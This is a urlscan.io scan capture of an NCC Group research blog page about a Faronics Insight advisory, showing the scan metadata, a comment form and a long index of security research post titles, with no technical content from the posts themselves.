research.nccgroup.com
Open in
urlscan Pro
192.0.78.173
Public Scan
URL:
https://research.nccgroup.com/2023/05/30/technical-advisory-multiple-vulnerabilities-in-faronics-insight/
Submission: On June 02 via api from TR — Scanned from DE
Submission: On June 02 via api from TR — Scanned from DE
Form analysis
1 forms found in the DOM<form id="jp-carousel-comment-form">
<label for="jp-carousel-comment-form-comment-field" class="screen-reader-text">Write a Comment...</label>
<textarea name="comment" class="jp-carousel-comment-form-field jp-carousel-comment-form-textarea" id="jp-carousel-comment-form-comment-field" placeholder="Write a Comment..."></textarea>
<div id="jp-carousel-comment-form-submit-and-info-wrapper">
<div id="jp-carousel-comment-form-commenting-as">
<fieldset>
<label for="jp-carousel-comment-form-email-field">Email (Required)</label>
<input type="text" name="email" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-email-field">
</fieldset>
<fieldset>
<label for="jp-carousel-comment-form-author-field">Name (Required)</label>
<input type="text" name="author" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-author-field">
</fieldset>
<fieldset>
<label for="jp-carousel-comment-form-url-field">Website</label>
<input type="text" name="url" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-url-field">
</fieldset>
</div>
<input type="submit" name="submit" class="jp-carousel-comment-form-button" id="jp-carousel-comment-form-button-submit" value="Post Comment">
</div>
</form>
Text Content
* Eurocrypt 2023: Death of a KEM * Reverse Engineering Coin Hunt World’s Binary Protocol * Technical Advisory – Multiple Vulnerabilities in Faronics Insight (CVE-2023-28344, CVE-2023-28345, CVE-2023-28346, CVE-2023-28347, CVE-2023-28348, CVE-2023-28349, CVE-2023-28350, CVE-2023-28351, CVE-2023-28352, CVE-2023-28353) * Tool Release: Code Query (cq) * CowCloud * OffensiveCon 2023 – Exploit Engineering – Attacking the Linux Kernel * Tool Release: Code Credential Scanner (ccs) * Exploring Overfitting Risks in Large Language Models * The Paillier Cryptosystem with Applications to Threshold ECDSA * Rigging the Vote: Uniqueness in Verifiable Random Functions * Medical Devices: A Hardware Security Perspective * NETGEAR Routers: A Playground for Hackers? * Real World Cryptography Conference 2023 – Part I * Public Report – AWS Nitro System API & Security Claims * State of DNS Rebinding in 2023 * Machine Learning 103: Exploring LLM Code Generation * HITBAMS – Your Not so “Home” Office – Soho Hacking at Pwn2Own * Public Report – Kubernetes 1.24 Security Audit * Public Report – Solana Program Library ZK-Token Security Assessment * Stepping Insyde System Management Mode * Breaking Pedersen Hashes in Practice * A Race to Report a TOCTOU: Analysis of a Bug Collision in Intel SMM * Making New Connections – Leveraging Cisco AnyConnect Client to Drop and Run Payloads * A Primer On Slowable Encoders * Threat Spotlight – Hydra * Rustproofing Linux (Part 4/4 Shared Memory) * Rustproofing Linux (Part 3/4 Integer Overflows) * Security Code Review With ChatGPT * Rustproofing Linux (Part 2/4 Race Conditions) * Readable Thrift * Building WiMap the Wi-Fi Mapping Drone * Fuzzing the Easy Way Using Zulu * Exploiting CVE-2014-0282 * Rustproofing Linux (Part 1/4 Leaking Addresses) * Machine Learning 102: Attacking Facial Authentication with Poisoned Data * Threat Modelling Cloud Platform Services by Example: Google Cloud Storage * Using Semgrep with Jupyter Notebook files * Announcing NCC Group’s Cryptopals Guided Tour: Set 2 * Technical Advisory – U-Boot – Unchecked Download Size and Direction in USB DFU (CVE-2022-2347) * Technical Advisory – Multiple Vulnerabilities in the Galaxy App Store (CVE-2023-21433, CVE-2023-21434) * Project Bishop: Clustering Web Pages * Puckungfu: A NETGEAR WAN Command Injection * MeshyJSON: A TP-Link tdpServer JSON Stack Overflow * Machine Learning 101: The Integrity of Image (Mis)Classification? * Replicating CVEs with KLEE * Public Report – VPN by Google One Security Assessment * Public Report – Confidential Space Security Review * Exploring Prompt Injection Attacks * Impersonating Gamers With GPT-2 * So long and thanks for all the 0day * A jq255 Elliptic Curve Specification, and a Retrospective * Technical Advisory – NXP i.MX SDP_READ_DISABLE Fuse Bypass (CVE-2022-45163) * Tool Release – Web3 Decoder Burp Suite Extension * Tales of Windows detection opportunities for an implant framework * Check out our new Microcorruption challenges! * Toner Deaf – Printing your next persistence (Hexacon 2022) * Technical Advisory – OpenJDK – Weak Parsing Logic in java.net.InetAddress and Related Classes * Public Report – IOV Labs powHSM Security Assessment * Shining New Light on an Old ROM Vulnerability: Secure Boot Bypass via DCD and CSF Tampering on NXP i.MX Devices * A glimpse into the shadowy realm of a Chinese APT: detailed analysis of a ShadowPad intrusion * Detecting Mimikatz with Busylight * Whitepaper – Project Triforce: Run AFL On Everything (2017) * Tool Release – Project Kubescout: Adding Kubernetes Support to Scout Suite * Technical Advisory – Multiple Vulnerabilities in Juplink RX4-1800 WiFi Router (CVE-2022-37413, CVE-2022-37414) * A Guide to Improving Security Through Infrastructure-as-Code * Tool Release – ScoutSuite 5.12.0 * Public Report – Penumbra Labs Decaf377 Implementation and Poseidon Parameter Selection Review * Tool Release – Monkey365 * Sharkbot is back in Google Play * Constant-Time Data Processing At a Secret Offset, Privacy and QUIC * There’s Another Hole In Your SoC: Unisoc ROM Vulnerabilities * Conference Talks – September/October 2022 * SETTLERS OF NETLINK: Exploiting a limited UAF in nf_tables (CVE-2022-32250) * Writing FreeBSD Kernel Modules in Rust * NCC Con Europe 2022 – Pwn2Own Austin Presentations * Tool Release – JWT-Reauth * Back in Black: Unlocking a LockBit 3.0 Ransomware Attack * Wheel of Fortune Outcome Prediction – Taking the Luck out of Gambling * Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study * Implementing the Castryck-Decru SIDH Key Recovery Attack in SageMath * Top of the Pops: Three common ransomware entry techniques * NCC Group Research at Black Hat USA 2022 and DEF CON 30 * Tool Release – insject: A Linux Namespace Injector * Technical Advisory – Multiple vulnerabilities in Nuki smart locks (CVE-2022-32509, CVE-2022-32504, CVE-2022-32502, CVE-2022-32507, CVE-2022-32503, CVE-2022-32510, CVE-2022-32506, CVE-2022-32508, CVE-2022-32505) * NIST Selects Post-Quantum Algorithms for Standardization * Climbing Mount Everest: Black-Byte Bytes Back? * Five Essential Machine Learning Security Papers * Whitepaper – Practical Attacks on Machine Learning Systems * Flubot: the evolution of a notorious Android Banking Malware * A deeper dive into CVE-2021-39137 – a Golang security bug that Rust would have prevented * Technical Advisory – ExpressLRS vulnerabilities allow for hijack of control link * Updated: Technical Advisory and Proofs of Concept – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552) * Understanding the Impact of Ransomware on Patient Outcomes – Do We Know Enough? * Public Report – Threshold ECDSA Cryptography Review * Exception Handling and Data Integrity in Salesforce * Technical Advisory – Multiple Vulnerabilities in Trendnet TEW-831DR WiFi Router (CVE-2022-30325, CVE-2022-30326, CVE-2022-30327, CVE-2022-30328, CVE-2022-30329) * Shining the Light on Black Basta * Technical Advisory – Multiple Vulnerabilities in U-Boot (CVE-2022-30790, CVE-2022-30552) * NCC Group’s Jeremy Boone recognized for Highest Quality and Most Eligible Reports through the Intel Circuit Breaker program * Conference Talks – June 2022 * Hardware Security By Design: ESP32 Guidance * Public Report – Lantern and Replica Security Assessment * NCC Group’s Juan Garrido named to Microsoft’s MSRC Office Security Researcher Leaderboard * Technical Advisory – FUJITSU CentricStor Control Center <= V8.1 – Unauthenticated Command Injection ( CVE-2022-31794 and CVE-2022-31795) * Public Report – go-cose Security Assessment * Technical Advisory – SerComm h500s – Authenticated Remote Command Execution (CVE-2021-44080) * Metastealer – filling the Racoon void * earlyremoval, in the Conservatory, with the Wrench: Exploring Ghidra’s decompiler internals to make automatic P-Code analysis scripts * Tool Release – Ghostrings * Technical Advisory – Kwikset/Weiser BLE Proximity Authentication in Kevo Smart Locks Vulnerable to Relay Attacks * Technical Advisory – Tesla BLE Phone-as-a-Key Passive Entry Vulnerable to Relay Attacks * Technical Advisory – BLE Proximity Authentication Vulnerable to Relay Attacks * Technical Advisory: Ruby on Rails – Possible XSS Vulnerability in ActionView tag helpers (CVE-2022-27777) * North Korea’s Lazarus: their initial access trade-craft using social media and social engineering * Adventures in the land of BumbleBee – a new malicious loader * LAPSUS$: Recent techniques, tactics and procedures * Real World Cryptography Conference 2022 * Mitigating the top 10 security threats to GCP using the CIS Google Cloud Platform Foundation Benchmark * A brief look at Windows telemetry: CIT aka Customer Interaction Tracker * Public Report – Google Enterprise API Security Assessment * Conti-nuation: methods and techniques observed in operations post the leaks * Whitepaper – Double Fetch Vulnerabilities in C and C++ * Mining data from Cobalt Strike beacons * Remote Code Execution on Western Digital PR4100 NAS (CVE-2022-23121) * Tool Release – ScoutSuite 5.11.0 * Technical Advisory – Apple macOS XAR – Arbitrary File Write (CVE-2022-22582) * Microsoft announces the WMIC command is being retired, Long Live PowerShell * SharkBot: a “new” generation Android banking Trojan being distributed on Google Play Store * Estimating the Bit Security of Pairing-Friendly Curves * Detecting anomalous Vectored Exception Handlers on Windows * BrokenPrint: A Netgear stack overflow * Hardware & Embedded Systems: A little early effort in security can return a huge payoff * Public Report – O(1) Labs Mina Client SDK, Signature Library and Base Components Cryptography and Implementation Review * Analyzing a PJL directory traversal vulnerability – exploiting the Lexmark MC3224i printer (part 2) * Shaking The Foundation of An Online Collaboration Tool: Microsoft 365 Top 5 Attacks vs the CIS Microsoft 365 Foundation Benchmark * Bypassing software update package encryption – extracting the Lexmark MC3224i printer firmware (part 1) * Detecting Karakurt – an extortion focused threat actor * BAT: a Fast and Small Key Encapsulation Mechanism * Testing Infrastructure-as-Code Using Dynamic Tooling * Machine Learning for Static Analysis of Malware – Expansion of Research Scope * 10 real-world stories of how we’ve compromised CI/CD pipelines * NCC Group’s 2021 Annual Research Report * On the malicious use of large language models like GPT-3 * Exploring the Security & Privacy of Canada’s Digital Proof of Vaccination Programs * Tool Update – ruby-trace: A Low-Level Tracer for Ruby * Tool Release – shouganaiyo-loader: A Tool to Force JVM Attaches * Technical Advisory – Lenovo ImController Local Privilege Escalation (CVE-2021-3922, CVE-2021-3969) * Choosing the Right MCU for Your Embedded Device — Desired Security Features of Microcontrollers * FPGAs: Security Through Obscurity? * Public Report – WhatsApp opaque-ke Cryptographic Implementation Review * log4j-jndi-be-gone: A simple mitigation for CVE-2021-44228 * Log4Shell: Reconnaissance and post exploitation network detection * Announcing NCC Group’s Cryptopals Guided Tour! * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated Arbitrary File Deletion * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated Stored XSS * Technical Advisory – SonicWall SMA 100 Series – Multiple Unauthenticated Heap-based and Stack-based Buffer Overflow (CVE-2021-20045) * Technical Advisory – SonicWall SMA 100 Series – Post-Authentication Remote Command Execution (CVE-2021-20044) * Technical Advisory – SonicWall SMA 100 Series – Heap-Based Buffer Overflow (CVE-2021-20043) * Technical Advisory – SonicWall SMA 100 Series – Unauthenticated File Upload Path Traversal (CVE-2021-20040) * Why IoT Security Matters * Technical Advisory – Authenticated SQL Injection in SOAP Request in Broadcom CA Network Flow Analysis (CVE-2021-44050) * Encryption Does Not Equal Invisibility – Detecting Anomalous TLS Certificates with the Half-Space-Trees Algorithm * Tracking a P2P network related to TA505 * Conference Talks – December 2021 * Public Report – Zendoo Proof Verifier Cryptography Review * An Illustrated Guide to Elliptic Curve Cryptography Validation * Exploit the Fuzz – Exploiting Vulnerabilities in 5G Core Networks * POC2021 – Pwning the Windows 10 Kernel with NTFS and WNF Slides * Technical Advisory – Multiple Vulnerabilities in Victure WR1200 WiFi Router (CVE-2021-43282, CVE-2021-43283, CVE-2021-43284) * “We wait, because we know you.” Inside the ransomware negotiation economics. * Detection Engineering for Kubernetes clusters * Vaccine Misinformation Part 1: Misinformation Attacks as a Cyber Kill Chain * Technical Advisory – Arbitrary Signature Forgery in Stark Bank ECDSA Libraries (CVE-2021-43572, CVE-2021-43570, CVE-2021-43569, CVE-2021-43568, CVE-2021-43571) * TA505 exploits SolarWinds Serv-U vulnerability (CVE-2021-35211) for initial access * Public Report – Zcash NU5 Cryptography Review * The Next C Language Standard (C23) * Conference Talks – November 2021 * Technical Advisory – Apple XAR – Arbitrary File Write (CVE-2021-30833) * Public Report – WhatsApp End-to-End Encrypted Backups Security Assessment * Cracking RDP NLA Supplied Credentials for Threat Intelligence * Detecting and Protecting when Remote Desktop Protocol (RDP) is open to the Internet * Enterprise-scale seamless onboarding and deployment of Azure Sentinel using Lighthouse for multi-tenant environments * Cracking Random Number Generators using Machine Learning – Part 2: Mersenne Twister * Cracking Random Number Generators using Machine Learning – Part 1: xorshift128 * NCC Group placed first in global 5G Cyber Security Hack competition * Paradoxical Compression with Verifiable Delay Functions * A Look At Some Real-World Obfuscation Techniques * SnapMC skips ransomware, steals data * The Challenges of Fuzzing 5G Protocols * Reverse engineering and decrypting CyberArk vault credential files * Technical Advisory – Open5GS Stack Buffer Overflow During PFCP Session Establishment on UPF (CVE-2021-41794) * Assessing the security and privacy of Vaccine Passports * Technical Advisory – NULL Pointer Derefence in McAfee Drive Encryption (CVE-2021-23893) * Conference Talks – October 2021 * Technical Advisory – Garuda Linux Insecure User Creation (CVE-2021-3784) * Detecting and Hunting for the PetitPotam NTLM Relay Attack * Technical Advisory: PDFTron JavaScript URLs Allowed in WebViewer UI (CVE-2021-39307) * Optimizing Pairing-Based Cryptography: Montgomery Multiplication in Assembly * CertPortal: Building Self-Service Secure S/MIME Provisioning Portal * NSA & CISA Kubernetes Security Guidance – A Critical Review * Technical Advisory – New York State Excelsior Pass Vaccine Passport Credential Forgery * Technical Advisory – New York State Excelsior Pass Vaccine Passport Scanner App Sends Data to a Third Party not Specified in Privacy Policy * Conference Talks – September 2021 * The ABCs of NFC chip security * CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 2 * Disabling Office Macros to Reduce Malware Infections * Some Musings on Common (eBPF) Linux Tracing Bugs * Technical Advisory: Pulse Connect Secure – RCE via Uncontrolled Archive Extraction – CVE-2021-22937 (Patch Bypass) * Technical Advisory – Sunhillo SureLine Unauthenticated OS Command Injection (CVE-2021-36380) * Practical Considerations of Right-to-Repair Legislation * Technical Advisory – ICTFAX 7-4 – Indirect Object Reference * Technical Advisory: Stored and Reflected XSS Vulnerability in Nagios Log Server (CVE-2021-35478,CVE-2021-35479) * Detecting and Hunting for the Malicious NetFilter Driver * CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 * NCC Group Research at Black Hat USA 2021 and DEF CON 29 * Alternative Approaches for Fault Injection Countermeasures (Part 3/3) * Software-Based Fault Injection Countermeasures (Part 2/3) * An Introduction to Fault Injection (Part 1/3) * Technical Advisory – Arbitrary File Read in Dell Wyse Management Suite (CVE-2021-21586, CVE-2021-21587) * Exploiting the Sudo Baron Samedit vulnerability (CVE-2021-3156) on VMWare vCenter Server 7.0 * Technical Advisory – Shop app sends pasteboard data to Shopify’s servers * Tool Release – Reliably-checked String Library Binding * Are you oversharing (in Salesforce)? Our new tool could sniff it out! * Exploit mitigations: keeping up with evolving and complex software/hardware * NCC Group co-signs the Electronic Frontier Foundation’s Statement on DMCA Use Against Security Researchers * Handy guide to a new Fivehands ransomware variant * On the Use of Pedersen Commitments for Confidential Payments * Incremental Machine Learning by Example: Detecting Suspicious Activity with Zeek Data Streams, River, and JA3 Hashes * Testing Two-Factor Authentication * Optimizing Pairing-Based Cryptography: Montgomery Arithmetic in Rust * Research Paper – Machine Learning for Static Malware Analysis, with University College London * Conference Talks – June 2021 * Public Report – Protocol Labs Groth16 Proof Aggregation: Cryptography and Implementation Review * iOS User Enrollment and Trusted Certificates * Detecting Rclone – An Effective Tool for Exfiltration * Supply Chain Security Begins with Secure Software Development * Toxic Tokens: Using UUIDs for Authorization is Dangerous (even if they’re cryptographically random) * Public Report – Dell Secured Component Verification * RM3 – Curiosities of the wildest banking malware * Conference Talks – May 2021 * A Census of Deployed Pulse Connect Secure (PCS) Versions * NCC Group’s Upcoming Trainings at Black Hat USA 2021 * Public Report – VPN by Google One: Technical Security & Privacy Assessment * Technical Advisory – ParcelTrack sends all pasteboard data to ParcelTrack’s servers on startup * Tool Release – Principal Mapper v1.1.0 Update * SAML XML Injection * The Future of C Code Review * RIFT: Detection capabilities for recent F5 BIG-IP/BIG-IQ iControl REST API vulnerabilities CVE-2021-22986 * Tool Release – Solitude: A privacy analysis tool * Deception Engineering: exploring the use of Windows Installer Packages against first stage payloads * Lending a hand to the community – Covenant v0.7 Updates * Technical Advisory: Dell SupportAssist Local Privilege Escalation (CVE-2021-21518) * Technical Advisory – Multiple Vulnerabilities in Netgear ProSAFE Plus JGS516PE / GS116Ev2 Switches * Deception Engineering: exploring the use of Windows Service Canaries against ransomware * Wubes: Leveraging the Windows 10 Sandbox for Arbitrary Processes * Technical Advisory: Administrative Passcode Recovery and Authenticated Remote Buffer Overflow Vulnerabilities in Gigaset DX600A Handset (CVE-2021-25309, CVE-2021-25306) * Cryptopals: Exploiting CBC Padding Oracles * Investigating Potential Security Vulnerability Manifestation through Various Analyses & Inferences Regarding Internet RFCs (and how RFC Security might be Improved) * NCC Group’s 2020 Annual Research Report * Conference Talks – February/March 2021 * Software Verification and Analysis Using Z3 * Technical Advisory – Linksys WRT160NL – Authenticated Command Injection (CVE-2021-25310) * Real World Cryptography Conference 2021: A Virtual Experience * RIFT: Analysing a Lazarus Shellcode Execution Method * MSSQL Lateral Movement * Public Report – BLST Cryptographic Implementation Review * Sign over Your Hashes – Stealing NetNTLM Hashes via Outlook Signatures * Abusing cloud services to fly under the radar * Building an RDP Credential Catcher for Threat Intelligence * Double-odd Elliptic Curves * Using AWS and Azure for Cost Effective Log Ingestion with Data Processing Pipelines for SIEMs * Domestic IoT Nightmares: Smart Doorbells * Technical Advisory: OS Command Injection in Silver Peak EdgeConnect Appliances (CVE-2020-12148, CVE-2020-12149) * Helping Engineering Teams Tackle Security Debt in Embedded Systems: U-Boot Configuration Auditing Introduced in Depthcharge v0.2.0 * An Adventure in Contingency Debugging: Ruby IO#read/IO#write Considered Harmful * ABSTRACT SHIMMER (CVE-2020-15257): Host Networking is root-Equivalent, Again * Tool Release – HTTPSignatures: A Burp Suite Extension Implementing HTTP Signatures * ICS/OT Security & the evolution of the Purdue Model: Integrating Industrial and Business Networks * Tool Release – Carnivore: Microsoft External Assessment Tool * Technical Advisory: containerd – containerd-shim API Exposed to Host Network Containers (CVE-2020-15257) * Conference Talks – December 2020 * TA505: A Brief History Of Their Time * Decrypting OpenSSH sessions for fun and profit * Past, Present and Future of Effective C * Technical Advisory: SQL Injection and Reflected Cross-Site Scripting (XSS) Vulnerabilities in Oracle Communications Diameter Signaling Router (CVE-2020-14787, CVE-2020-14788) * Technical Advisory: Command Injection * Conference Talks – November 2020 * Technical Advisory: Pulse Connect Secure – Arbitrary File Read via Logon Message (CVE-2020-8255) * Technical Advisory: Pulse Connect Secure – RCE via Uncontrolled Gzip Extraction (CVE-2020-8260) * Technical Advisory – Jitsi Meet Electron – Arbitrary Client Remote Code Execution (CVE-2020-27162) * Technical Advisory – Jitsi Meet Electron – Limited Certificate Validation Bypass (CVE-2020-27161) * Public Report – Filecoin Bellman and BLS Signatures Cryptographic Review * Technical Advisory – Linksys WRT160NL – Authenticated Remote Buffer Overflow (CVE-2020-26561) * There’s A Hole In Your SoC: Glitching The MediaTek BootROM * RIFT: F5 CVE-2020-5902 and Citrix CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 honeypot data release * Technical Advisory – Pulse Connect Secure – RCE via Template Injection (CVE-2020-8243) * Tool – Windows Executable Memory Page Delta Reporter * Salesforce Security with Remote Working * Tool Release – ScoutSuite 5.10 * Conference Talks – October 2020 * Tool Release – ICPin, an integrity-check and anti-debug detection pintool * Faster Modular Inversion and Legendre Symbol, and an X25519 Speed Record * Technical Advisory – Lansweeper Privilege Escalation via CSRF Using HTTP Method Interchange (CVE-2020-13658) * Online Casino Roulette – A guideline for penetration testers and security researchers * Extending a Thinkst Canary to become an interactive honeypot * StreamDivert: Relaying (specific) network connections * Public Report – Electric Coin Company NU4 Cryptographic Specification and Implementation Review * Machine learning from idea to reality: a PowerShell case study * Conference Talks – September 2020 * Whitepaper – Exploring the Security of KaiOS Mobile Applications * Technical Advisory – wolfSSL TLS 1.3 Client Man-in-the-Middle Attack (CVE-2020-24613) * Technical Advisory – Multiple HTML Injection Vulnerabilities in KaiOS Pre-installed Mobile Applications * Technical Advisory – FreePBX – Multiple Authenticated SQL Injections in UCP application * Immortalising 20 Years of Epic Research * Pairing over BLS12-381, Part 3: Pairing! * Public Report – Pixel 4/4XL and Pixel 4a ioXt Audit * NCC Group researchers named amongst MSRC’s Most Valuable Security Researchers in 2020 * Lights, Camera, HACKED! An insight into the world of popular IP Cameras * Conference Talks – August 2020 * Tool Release – Winstrument: An Instrumentation Framework for Windows Application Assessments * Tool Release: Sinking U-Boots with Depthcharge * Technical Advisory: Heartbleed chained with a Pass-the-Hash attack leads to device compromise on TP-Link C200 IP Camera * Public Report – Qredo Apache Milagro MPC Cryptographic Assessment * Pairing over BLS12-381, Part 2: Curves * Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 * RIFT: Citrix ADC Vulnerabilities CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196 Intelligence * An offensive guide to the Authorization Code grant * Technical Advisory – KwikTag Web Admin Authentication Bypass * Pairing over BLS12-381, Part 1: Fields * RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence * Experiments in Extending Thinkst Canary – Part 1 * Tool Release – ScoutSuite 5.9.0 * Technical Advisory – macOS Installer Local Root Privilege Escalation (CVE-2020-9817) * Paper: Thematic for Success in Real-World Offensive Cyber Operations – How to make threat actors work harder and fail more often * How-to: Importing WStalker CSV (and more) into Burp Suite via Import to Sitemap Extension * Tool: WStalker – an easy proxy to support Web API assessments * Security Considerations of zk-SNARK Parameter Multi-Party Computation * WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group * Tool Release – Socks Over RDP Now Works With Citrix * Striking Back at Retired Cobalt Strike: A look at a legacy vulnerability * Technical Advisory – ARM MbedOS USB Mass Storage Driver Memory Corruption * Cyber Security of New Space Paper * In-depth analysis of the new Team9 malware family * Common Insecure Practices with Configuring and Extending Salesforce * Exploring DeepFake Capabilities & Mitigation Strategies with University College London * Game Security * Exploring macOS Calendar Alerts: Part 2 – Exfiltrating data (CVE-2020-3882) * Research Report – Zephyr and MCUboot Security Assessment * CVE-2018-8611 Exploiting Windows KTM Part 5/5 – Vulnerability detection and a better read/write primitive * CVE-2018-8611 Exploiting Windows KTM Part 4/5 – From race win to kernel read and write primitive * Using SharePoint as a Phishing Platform * Public Report – Coda Cryptographic Review * Shell Arithmetic Expansion and Evaluation Abuse * CVE-2018-8611 Exploiting Windows KTM Part 3/5 – Triggering the race condition and debugging tricks * Tool Release – Socks Over RDP * Exploring macOS Calendar Alerts: Part 1 – Attempting to execute code * CVE-2018-8611 Exploiting Windows KTM Part 2/5 – Patch analysis and basic triggering * Practical Machine Learning for Random (Filename) Detection * Curve9767 and Fast Signature Verification * CVE-2018-8611 Exploiting Windows KTM Part 1/5 – Introduction * The Extended AWS Security Ramp-Up Guide * Code Patterns for API Authorization: Designing for Security * Order Details Screens and PII * How cryptography is used to monitor the spread of COVID-19 * Rise of the Sensors: Securing LoRaWAN Networks * C Language Standards Update – Zero-size Reallocations are Undefined Behavior * IETF Draft: Indicators of Compromise and Their Role in Attack and Defen[c|s]e * Exploring Verifiable Random Functions in Code * Crave the Data: Statistics from 1,300 Phishing Campaigns * Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks * Tool Release – ScoutSuite 5.8.0 * Whitepaper – Coinbugs: Enumerating Common Blockchain Implementation-Level Vulnerabilities * Smart Contracts Inside SGX Enclaves: Common Security Bug Patterns * LDAPFragger: Bypassing network restrictions using LDAP attributes * Threat Actors: exploiting the pandemic * A Survey of Istio’s Network Security Features * Conference Talks – March 2020 * Public Report – RustCrypto AES/GCM and ChaCha20+Poly1305 Implementation Review * Reviewing Verifiable Random Functions * CVE-2018-8611 – Diving into the Windows Kernel Transaction Manager (KTM) for fun and exploitation * Whitepaper – Microcontroller Readback Protection: Bypasses and Defenses * Improving Software Security through C Language Standards * Whitepaper – A Tour of Curve 25519 in Erlang * Deep Dive into Real-World Kubernetes Threats * Technical Advisory – playSMS Pre-Authentication Remote Code Execution (CVE-2020-8644) * Interfaces.d to RCE * Properly Signed Certificates on CPE Devices * Conference Talks – February 2020 * Tool Release – Collaborator++ * Public Report – Electric Coin Company NU3 Specification and Blossom Implementation Audit * Tool Release – Enumerating Docker Registries with go-pillage-registries * Conference Talks – January 2020 * Passive Decryption of Ethereum Peer-to-Peer Traffic * On Linux’s Random Number Generation * Demystifying AWS’ AssumeRole and sts:ExternalId * Welcome to the new NCC Group Global Research blog * Technical Advisory: Gaining root access on Sumpple S610 IP Camera via Telnet; and Unprotected client and server data transmission between Android and IOS clients * Security impact of IoT on the Enterprise * Secure Device Provisioning Best Practices: Heavy Truck Edition * CVE-2019-1405 and CVE-2019-1322 – Elevation to SYSTEM via the UPnP Device Host Service and the Update Orchestrator Service * Padding the struct: How a compiler optimization can disclose stack memory * Embedded Device Security Certifications * An Introduction to Ultrasound Security Research * PhanTap (Phantom Tap): Making networks spookier one packet at a time * An Introduction to Quantum Computing for Security Professionals * Sniffle: A Sniffer for Bluetooth 5 * Compromising a Hospital Network for £118 (Plus Postage & Packaging) * Getting Shell with XAMLX Files * Kerberos Resource-Based Constrained Delegation: When an Image Change Leads to a Privilege Escalation * Technical Advisory: CyberArk EPM Non-paged Pool Buffer Overflow * Technical Advisory: Unauthenticated SQL Injection in Lansweeper * Jenkins Plugins and Core Technical Summary Advisory * Technical Advisory: Multiple Vulnerabilities in Ricoh Printers * Technical Advisory: Multiple Vulnerabilities in Brother Printers * Technical Advisory: Multiple Vulnerabilities in Xerox Printers * Technical Advisory: Multiple Vulnerabilities in Kyocera Printers * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 10: Efficacy Demonstration, Project Conclusion and Next Steps * Technical Advisory: Multiple Vulnerabilities in HP Printers * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 9: Adventures with Expert Systems * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 8: Development of Prototype #4 – Building on Takaesu’s Approach with Focus on XSS * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 7: Development of Prototype #3 – Adventures in Anomaly Detection * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 6: Development of Prototype #2 – Creating a SQLi PoC * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 5: Development of Prototype #1 – Text Processing and Semantic Relationships * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 4: Architecture and Design * Technical Advisory – Authorization Bypass Allows for Pinboard Corruption * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 3: Understanding Existing Approaches and Attempts * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 2: Going off on a Tangent – AI/ML Applications in Social Engineering * Project Ava: On the Matter of Using Machine Learning for Web Application Security Testing – Part 1: Understanding the Basics and What Platforms and Frameworks Are Available * Technical Advisory: Multiple Vulnerabilities in Lexmark Printers * Technical Advisory: Intel Driver Support & Assistance – Local Privilege Escalation * Technical Advisory: Citrix Workspace / Receiver Remote Code Execution Vulnerability * The Sorry State of Aftermarket Head Unit Security * Cyber Security in UK Agriculture * NCC Group Connected Health Whitepaper July 2019 * Story of a Hundred Vulnerable Jenkins Plugins * Whitepaper – Hardware-Backed Heist: Extracting ECDSA Keys from Qualcomm’s TrustZone * Technical Advisory: Multiple Vulnerabilities in SmarterMail * Technical Advisory – DelTek Vision – Arbitrary SQL Execution (SQLi) * eBPF Adventures: Fiddling with the Linux Kernel and Unix Domain Sockets * Chafer backdoor analysis * Finding and Exploiting .NET Remoting over HTTP using Deserialisation * Technical Advisory: Multiple Vulnerabilities in MailEnable * Assessing Unikernel Security * Technical Advisory: IP Office Stored Cross Site Scripting (XSS) Vulnerability * Zcash Overwinter Consensus and Sapling Cryptography Review * Xendbg: A Full-Featured Debugger for the Xen Hypervisor * Use of Deserialisation in .NET Framework Methods and Classes * Owning the Virgin Media Hub 3.0: The perfect place for a backdoor * Nine years of bugs at NCC Group * The 9 Lives of Bleichenbacher’s CAT: New Cache ATtacks on TLS Implementations * Third party assurance * Turla PNG Dropper is back * Public cloud * Android Cloud Backup/Restore * Spectre on a Television * RokRat Analysis * Technical Advisory: SMB Hash Hijacking and User Tracking in MS Outlook * Technical Advisory: Authentication Bypass in libSSH * Securing Google Cloud Platform – Ten best practices * Public Report – Android Cloud Backup/Restore * Much Ado About Hardware Implants * NCC Group’s Exploit Development Capability: Why and What * Technical Advisory: Bypassing Workflows Protection Mechanisms – Remote Code Execution on SharePoint * Technical Advisory: Mosquitto Broker DoS through a Memory Leak vulnerability * Improving Your Embedded Linux Security Posture With Yocto * How I did not get a shell * Technical Advisory: Mitel MiVoice 5330e Memory Corruption Flaw * Singularity of Origin * Proxy Re-Encryption Protocol: IronCore Public Report * Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data * Celebrating NCC Con Europe 2018 * The disadvantages of a blacklist-based approach to input validation * Securing Teradata Database * Technical Advisory: Unauthenticated Remote Command Execution through Multiple Vulnerabilities in Virgin Media Hub 3.0 * Ethics in Security Testing * Freddy: An extension for automatically identifying deserialisation issues in Java and .NET applications * Sobelow Update * House * Principal Mapper (pmapper) * Return of the hidden number problem * Technical advisory: “ROHNP”- key extraction side channel in multiple crypto libraries * CVE-2017-8570 RTF and the Sisfader RAT * Mallory: Transparent TCP and UDP Proxy * Mallory and Me: Setting up 